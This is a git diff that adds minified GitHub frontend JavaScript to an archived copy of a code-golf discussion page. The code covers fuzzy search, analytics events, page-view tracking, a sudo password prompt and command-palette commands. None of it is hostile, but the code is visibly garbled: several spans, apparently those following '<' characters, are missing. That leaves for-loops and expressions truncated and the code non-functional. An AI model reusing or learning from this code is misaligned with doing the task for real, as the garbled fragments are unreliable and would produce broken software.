BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size 